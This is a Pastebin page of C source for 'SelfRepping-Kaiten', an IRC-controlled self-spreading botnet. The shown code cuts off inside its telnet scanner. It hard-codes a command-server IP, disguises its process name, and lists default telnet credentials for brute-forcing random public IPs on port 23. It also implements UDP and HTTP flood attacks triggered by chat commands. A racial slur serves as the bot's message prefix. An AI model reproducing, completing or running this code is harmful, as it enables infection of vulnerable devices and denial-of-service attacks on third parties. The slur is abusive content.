Advertisement
miraip0ts

SelfRepping-Kaiten

Apr 2nd, 2017
2,234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 46.42 KB | None | 0 0
  1. //Makonix=Nipsu=Nutflix&Chill LOL
  2. #undef IDENT
  3. #define FAKENAME "/usr/sbin/dropbear"
  4. #define CHAN "#"
  5. #define KEY ""
  6. #define PORT "443"
  7. #define PASS ""
  8. #define STD2_STRING "dts"
  9. #define STD2_SIZE 50
  10. #define PREFIX "[Niggers]"
  11. #define PR_SET_NAME 15
  12. #define PAD_RIGHT 1
  13. #define PAD_ZERO 2
  14. #define PRINT_BUF_LEN 12
  15. #define CMD_IAC   255
  16. #define CMD_WILL  251
  17. #define CMD_WONT  252
  18. #define CMD_DO    253
  19. #define CMD_DONT  254
  20. #define OPT_SGA   3
  21. int numservers=1;
  22. char *servers[] = {
  23.   "192.198.122.154",
  24.   (void*)0
  25. };
  26.  
  27. #include <stdarg.h>
  28. #include <errno.h>
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <sys/types.h>
  33. #include <sys/stat.h>
  34. #include <fcntl.h>
  35. #include <strings.h>
  36. #include <netinet/in.h>
  37. #include <unistd.h>
  38. #include <sys/time.h>
  39. #include <sys/socket.h>
  40. #include <signal.h>
  41. #include <arpa/inet.h>
  42. #include <netdb.h>
  43. #include <time.h>
  44. #include <sys/wait.h>
  45. #include <sys/ioctl.h>
  46. #include <net/if.h>
  47. #include <netinet/tcp.h>
  48. #include <netinet/udp.h>
  49. #include <netinet/ip.h>
  50. #include <sys/utsname.h>
  51.  
  52. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0"};
  53. char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0"};
  54.  
  55. char *useragents[] = {
  56.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  57.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  58.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  59.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  60.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  61.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  62.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  63.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  64.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  65.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  67.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  68.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  69.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  70.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  71.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  72.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  73.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  74.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  75.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  76.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  77.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  78.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  79.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  80.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  81.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  82.         "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  83.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  84.         "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  85.         "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  86.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  87.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  88.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  89.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  90.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  91.         "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  92.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  93.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  94.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  95.         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  96.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  97.         "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  98.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  99.         "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  100.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  101.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  102.         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  103. };
  104.  
  105. int sock,changeservers=0;
  106. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Void";
  107. unsigned int *pids;
  108. uint32_t scanPid;
  109. unsigned long spoofs=0, spoofsm=0, numpids=0;
  110.  
  111. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  112.     switch((unsigned char)*pattern) {
  113.         case '\0': return *string;
  114.         case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  115.         case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  116.         case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  117.         case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  118.         case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  119.         case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  120.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  121.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  122.     }
  123. }
  124. void trim(char *str)
  125. {
  126.         int i;
  127.         int begin = 0;
  128.         int end = strlen(str) - 1;
  129.  
  130.         while (isspace(str[begin])) begin++;
  131.  
  132.         while ((end >= begin) && isspace(str[end])) end--;
  133.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  134.  
  135.         str[i - begin] = '\0';
  136. }
  137.  
  138. static void printchar(unsigned char **str, int c)
  139. {
  140.         if (str) {
  141.                 **str = c;
  142.                 ++(*str);
  143.         }
  144.         else (void)write(1, &c, 1);
  145. }
  146.  
  147. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  148. {
  149.         register int pc = 0, padchar = ' ';
  150.  
  151.         if (width > 0) {
  152.                 register int len = 0;
  153.                 register const unsigned char *ptr;
  154.                 for (ptr = string; *ptr; ++ptr) ++len;
  155.                 if (len >= width) width = 0;
  156.                 else width -= len;
  157.                 if (pad & PAD_ZERO) padchar = '0';
  158.         }
  159.         if (!(pad & PAD_RIGHT)) {
  160.                 for ( ; width > 0; --width) {
  161.                         printchar (out, padchar);
  162.                         ++pc;
  163.                 }
  164.         }
  165.         for ( ; *string ; ++string) {
  166.                 printchar (out, *string);
  167.                 ++pc;
  168.         }
  169.         for ( ; width > 0; --width) {
  170.                 printchar (out, padchar);
  171.                 ++pc;
  172.         }
  173.  
  174.         return pc;
  175. }
  176.  
  177. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  178. {
  179.         unsigned char print_buf[PRINT_BUF_LEN];
  180.         register unsigned char *s;
  181.         register int t, neg = 0, pc = 0;
  182.         register unsigned int u = i;
  183.  
  184.         if (i == 0) {
  185.                 print_buf[0] = '0';
  186.                 print_buf[1] = '\0';
  187.                 return prints (out, print_buf, width, pad);
  188.         }
  189.  
  190.         if (sg && b == 10 && i < 0) {
  191.                 neg = 1;
  192.                 u = -i;
  193.         }
  194.  
  195.         s = print_buf + PRINT_BUF_LEN-1;
  196.         *s = '\0';
  197.  
  198.         while (u) {
  199.                 t = u % b;
  200.                 if( t >= 10 )
  201.                 t += letbase - '0' - 10;
  202.                 *--s = t + '0';
  203.                 u /= b;
  204.         }
  205.  
  206.         if (neg) {
  207.                 if( width && (pad & PAD_ZERO) ) {
  208.                         printchar (out, '-');
  209.                         ++pc;
  210.                         --width;
  211.                 }
  212.                 else {
  213.                         *--s = '-';
  214.                 }
  215.         }
  216.  
  217.         return pc + prints (out, s, width, pad);
  218. }
  219.  
  220. static int print(unsigned char **out, const unsigned char *format, va_list args )
  221. {
  222.         register int width, pad;
  223.         register int pc = 0;
  224.         unsigned char scr[2];
  225.  
  226.         for (; *format != 0; ++format) {
  227.                 if (*format == '%') {
  228.                         ++format;
  229.                         width = pad = 0;
  230.                         if (*format == '\0') break;
  231.                         if (*format == '%') goto out;
  232.                         if (*format == '-') {
  233.                                 ++format;
  234.                                 pad = PAD_RIGHT;
  235.                         }
  236.                         while (*format == '0') {
  237.                                 ++format;
  238.                                 pad |= PAD_ZERO;
  239.                         }
  240.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  241.                                 width *= 10;
  242.                                 width += *format - '0';
  243.                         }
  244.                         if( *format == 's' ) {
  245.                                 register char *s = (char *)va_arg( args, int );
  246.                                 pc += prints (out, s?s:"(null)", width, pad);
  247.                                 continue;
  248.                         }
  249.                         if( *format == 'd' ) {
  250.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  251.                                 continue;
  252.                         }
  253.                         if( *format == 'x' ) {
  254.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  255.                                 continue;
  256.                         }
  257.                         if( *format == 'X' ) {
  258.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  259.                                 continue;
  260.                         }
  261.                         if( *format == 'u' ) {
  262.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  263.                                 continue;
  264.                         }
  265.                         if( *format == 'c' ) {
  266.                                 scr[0] = (unsigned char)va_arg( args, int );
  267.                                 scr[1] = '\0';
  268.                                 pc += prints (out, scr, width, pad);
  269.                                 continue;
  270.                         }
  271.                 }
  272.                 else {
  273. out:
  274.                         printchar (out, *format);
  275.                         ++pc;
  276.                 }
  277.         }
  278.         if (out) **out = '\0';
  279.         va_end( args );
  280.         return pc;
  281. }
  282. int szprintf(unsigned char *out, const unsigned char *format, ...)
  283. {
  284.         va_list args;
  285.         va_start( args, format );
  286.         return print( &out, format, args );
  287. }
  288. int negotiate(int sock, unsigned char *buf, int len)
  289. {
  290.         unsigned char c;
  291.  
  292.         switch (buf[1]) {
  293.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  294.         case CMD_WILL:
  295.         case CMD_WONT:
  296.         case CMD_DO:
  297.         case CMD_DONT:
  298.                 c = CMD_IAC;
  299.                 send(sock, &c, 1, MSG_NOSIGNAL);
  300.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  301.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  302.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  303.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  304.                 send(sock, &c, 1, MSG_NOSIGNAL);
  305.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  306.                 break;
  307.  
  308.         default:
  309.                 break;
  310.         }
  311.  
  312.         return 0;
  313. }
  314.  
  315. int sclose(int fd)
  316. {
  317.         if(3 > fd) return 1;
  318.         close(fd);
  319.         return 0;
  320. }
  321. int Send(int sock, char *words, ...) {
  322.         static char textBuffer[1024];
  323.         va_list args;
  324.         va_start(args, words);
  325.         vsprintf(textBuffer, words, args);
  326.         va_end(args);
  327.         return write(sock,textBuffer,strlen(textBuffer));
  328. }
  329. unsigned int host2ip(char *sender,char *hostname) {
  330.         static struct in_addr i;
  331.         struct hostent *h;
  332.         if((i.s_addr = inet_addr(hostname)) == -1) {
  333.                 if((h = gethostbyname(hostname)) == NULL) {
  334.                         Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  335.                         exit(0);
  336.                 }
  337.                 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  338.         }
  339.         return i.s_addr;
  340. }
  341. int mfork(char *sender) {
  342.     unsigned int parent, *newpids, i;
  343.     if (disabled == 1) {
  344.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  345.         return 1;
  346.     }
  347.     parent=fork();
  348.     if (parent <= 0) return parent;
  349.     numpids++;
  350.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  351.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  352.     newpids[numpids-1]=parent;
  353.     free(pids);
  354.     pids=newpids;
  355.     return parent;
  356. }
  357. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  358. char *makestring() {
  359.     char *tmp;
  360.     int len=(rand()%5)+4,i;
  361.     FILE *file;
  362.     tmp=(char*)malloc(len+1);
  363.     memset(tmp,0,len+1);
  364.     char *pre;
  365.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  366.     else {
  367.         int a=((rand()*rand())%45402)+1;
  368.         char buf[1024];
  369.         for (i=0;i<a;i++) fgets(buf,1024,file);
  370.         memset(buf,0,1024);
  371.         fgets(buf,1024,file);
  372.         filter(buf);
  373.         memcpy(tmp,buf,len);
  374.         fclose(file);
  375.     }
  376.     return tmp;
  377. }
  378. void identd() {
  379.         int sockname,sockfd,sin_size,tmpsock,i;
  380.         struct sockaddr_in my_addr,their_addr;
  381.         char szBuffer[1024];
  382.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  383.         my_addr.sin_family = AF_INET;
  384.         my_addr.sin_port = htons(443);
  385.         my_addr.sin_addr.s_addr = INADDR_ANY;
  386.         memset(&(my_addr.sin_zero), 0, 8);
  387.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  388.         if (listen(sockfd, 1) == -1) return;
  389.         if (fork() == 0) return;
  390.         sin_size = sizeof(struct sockaddr_in);
  391.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  392.         for(;;) {
  393.                 fd_set bla;
  394.                 struct timeval timee;
  395.                 FD_ZERO(&bla);
  396.                 FD_SET(tmpsock,&bla);
  397.                 timee.tv_sec=timee.tv_usec=60;
  398.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  399.                 if (FD_ISSET(tmpsock,&bla)) break;
  400.         }
  401.         i = recv(tmpsock,szBuffer,1024,0);
  402.         if (i <= 0 || i >= 20) exit(0);
  403.         szBuffer[i]=0;
  404.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  405.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  406.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  407.         close(tmpsock);
  408.         close(sockfd);
  409.         exit(0);
  410. }
  411. int matchPrompt(char *bufStr)
  412. {
  413.         char *prompts = ":>%$#\0";
  414.  
  415.         int bufLen = strlen(bufStr);
  416.         int i, q = 0;
  417.         for(i = 0; i < strlen(prompts); i++)
  418.         {
  419.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  420.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  421.         }
  422.  
  423.         return 0;
  424. }
  425. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  426. {
  427.         int bufferUsed = initialIndex, got = 0, found = 0;
  428.         fd_set myset;
  429.         struct timeval tv;
  430.         tv.tv_sec = timeout;
  431.         tv.tv_usec = timeoutusec;
  432.         unsigned char *initialRead = NULL;
  433.  
  434.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  435.         {
  436.                 FD_ZERO(&myset);
  437.                 FD_SET(fd, &myset);
  438.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  439.                 initialRead = buffer + bufferUsed;
  440.                 got = recv(fd, initialRead, 1, 0);
  441.                 if(got == -1 || got == 0) return 0;
  442.                 bufferUsed += got;
  443.                 if(*initialRead == 0xFF)
  444.                 {
  445.                         got = recv(fd, initialRead + 1, 2, 0);
  446.                         if(got == -1 || got == 0) return 0;
  447.                         bufferUsed += got;
  448.                         if(!negotiate(fd, initialRead, 3)) return 0;
  449.                 } else {
  450.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  451.                 }
  452.         }
  453.  
  454.         if(found) return 1;
  455.         return 0;
  456. }
  457. static uint8_t ipState[5];
  458. in_addr_t getRandomPublicIP()
  459. {
  460.     if(ipState[1] > 0 && ipState[4] < 255)
  461.     {
  462.         ipState[4]++;
  463.         char ip[16];
  464.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  465.         return inet_addr(ip);
  466.     }
  467.  
  468.     ipState[1] = 0;
  469.     ipState[2] = 0;
  470.     ipState[3] = 0;
  471.     ipState[4] = 0;
  472.     while(
  473.             (ipState[1] == 0) ||
  474.             (ipState[1] == 10) ||
  475.             (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  476.             (ipState[1] == 127) ||
  477.             (ipState[1] == 169 && ipState[2] == 254) ||
  478.             (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  479.             (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  480.             (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  481.             (ipState[1] == 192 && ipState[2] == 168) ||
  482.             (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  483.             (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  484.             (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  485.             (ipState[1] >= 224)
  486.     )
  487.     {
  488.         ipState[1] = rand() % 255;
  489.         ipState[2] = rand() % 255;
  490.         ipState[3] = rand() % 255;
  491.         ipState[4] = rand() % 255;
  492.     }
  493.  
  494.     char ip[16];
  495.     szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  496.     return inet_addr(ip);
  497. }
  498.  
  499. //STD Attack
  500. void std(int sock, char *sender, int argc, char **argv) {
  501.     if (mfork(sender) != 0) return;
  502.     if (argc < 3) {
  503.    
  504.         Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
  505.         exit(0);
  506.        
  507.     }
  508.     unsigned long secs;
  509.  
  510.     int iSTD_Sock;
  511.  
  512.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  513.  
  514.     time_t start = time(NULL);
  515.     secs = atol(argv[3]);
  516.     Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
  517.  
  518.     struct sockaddr_in sin;
  519.  
  520.     struct hostent *hp;
  521.  
  522.     hp = gethostbyname(argv[1]);
  523.  
  524.     bzero((char*) &sin,sizeof(sin));
  525.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  526.     sin.sin_family = hp->h_addrtype;
  527.     sin.sin_port = atol(argv[2]);
  528.  
  529.     unsigned int a = 0;
  530.  
  531.     while(1){
  532.         if (a >= 50)
  533.         {
  534.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  535.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  536.             if (time(NULL) >= start + secs)
  537.             {
  538.                 Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
  539.                 close(iSTD_Sock);
  540.                 exit(0);
  541.             }
  542.             a = 0;
  543.         }
  544.         a++;
  545.     }
  546.    
  547.  
  548. }
  549.  
  550. void stop(int sock, char *sender, int argc, char **argv){
  551.     unsigned long i;
  552.     for (i=0;i<numpids;i++) {
  553.         if (pids[i] != 0 && pids[i] != getpid()) {
  554.             if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
  555.                 kill(pids[i],9);
  556.         }
  557.     }
  558. }
  559.  
  560. int hostname_to_ip(char * hostname , char* ip)
  561. {
  562.     struct hostent *he;
  563.     struct in_addr **addr_list;
  564.     int i;
  565.          
  566.     if ( (he = gethostbyname( hostname ) ) == NULL)
  567.     {
  568.         // get the host info
  569.         herror("gethostbyname");
  570.         return 1;
  571.     }
  572.  
  573.     addr_list = (struct in_addr **) he->h_addr_list;
  574.      
  575.     for(i = 0; addr_list[i] != NULL; i++)
  576.     {
  577.         //Return the first one;
  578.         strcpy(ip , inet_ntoa(*addr_list[i]) );
  579.         return 0;
  580.     }
  581.      
  582.     return 1;
  583. }
  584.  
  585. void sendhttp(int sock, char *sender, int argc, char **argv)
  586. {
  587.     if (mfork(sender) != 0) return;
  588.     if (argc < 3) {
  589.    
  590.         Send(sock,"PRIVMSG %s :>bot +http <target> <secs> <GET/HEAD/POST>\n",chan);
  591.         exit(0);
  592.     }
  593.    
  594.     char *url = argv[1];
  595.     char *type = argv[3];
  596.     int end_time = atoi(argv[2]);
  597.    
  598.     char ip[100];
  599.    
  600.     hostname_to_ip(url , ip);
  601.    
  602.     char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  603.     int end = time(NULL) + end_time;
  604.     int sockfd;
  605.     struct sockaddr_in server;
  606.     server.sin_addr.s_addr = inet_addr(ip);
  607.     server.sin_family = AF_INET;
  608.     server.sin_port = htons(80);   
  609.     printf("%s resolved to %s\n" , url , ip);
  610.     char *command[120];
  611.     if(strcmp(type, "GET")){
  612.         sprintf(command, "GET / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: text/html\r\nContent-Length: 0\r\nUser-Agent: %s\r\n", ip, UA);
  613.     } else if(strcmp(type, "POST")){
  614.         sprintf(command, "POST / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: text/html\r\nContent-Length: 0\r\nUser-Agent: %s\r\n", ip, UA);
  615.     }else if(strcmp(type, "PUT")){
  616.         sprintf(command, "PUT / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: text/html\r\nContent-Length: 0\r\nUser-Agent: %s\r\n", ip, UA);
  617.     } else {
  618.         _exit(0);
  619.     }
  620.    
  621.     Send(sock,"PRIVMSG %s :[HTTP] Attacking %s!\n",chan, url);
  622.    
  623.     while(end > time(NULL))
  624.     {
  625.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  626.         connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  627.         send(sockfd, command, strlen(command), 0);
  628.         sleep(1);
  629.         close(sockfd);
  630.     }
  631. }
  632.  
  633. void StartTheLelz(int sock, char *sender, int argc, char **argv)
  634. {
  635.    
  636.     Send(sock,"PRIVMSG %s :Starting Scanner.\n",chan);
  637.     if (mfork(sender) != 0) return;
  638.     int max = (getdtablesize() / 4) * 3, i, res;
  639.         fd_set myset;
  640.         struct timeval tv;
  641.         socklen_t lon;
  642.         int valopt;
  643.  
  644.         max = max > 512 ? 512 : max;
  645.  
  646.         struct sockaddr_in dest_addr;
  647.         dest_addr.sin_family = AF_INET;
  648.         dest_addr.sin_port = htons(23);
  649.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  650.  
  651.         struct telstate_t
  652.         {
  653.                 int fd;
  654.                 uint32_t ip;
  655.                 uint8_t state;
  656.                 uint8_t complete;
  657.                 uint8_t usernameInd;
  658.                 uint8_t passwordInd;
  659.                 uint32_t totalTimeout;
  660.                 uint16_t bufUsed;
  661.                 char *sockbuf;
  662.         } fds[max];
  663.         memset(fds, 0, max * (sizeof(int) + 1));
  664.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  665.         struct timeval timeout;
  666.         timeout.tv_sec = 5;
  667.         timeout.tv_usec = 0;
  668.         while(1)
  669.         {
  670.                 for(i = 0; i < max; i++)
  671.                 {
  672.                         switch(fds[i].state)
  673.                         {
  674.                         case 0:
  675.                                 {
  676.                                         memset(fds[i].sockbuf, 0, 1024);
  677.  
  678.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  679.                                         else {
  680.                                                 fds[i].passwordInd++;
  681.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  682.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  683.                                         }
  684.                                         dest_addr.sin_family = AF_INET;
  685.                                         dest_addr.sin_port = htons(23);
  686.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  687.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  688.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  689.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  690.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  691.                                         if(fds[i].fd == -1) { continue; }
  692.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  693.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  694.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  695.                                 }
  696.                                 break;
  697.  
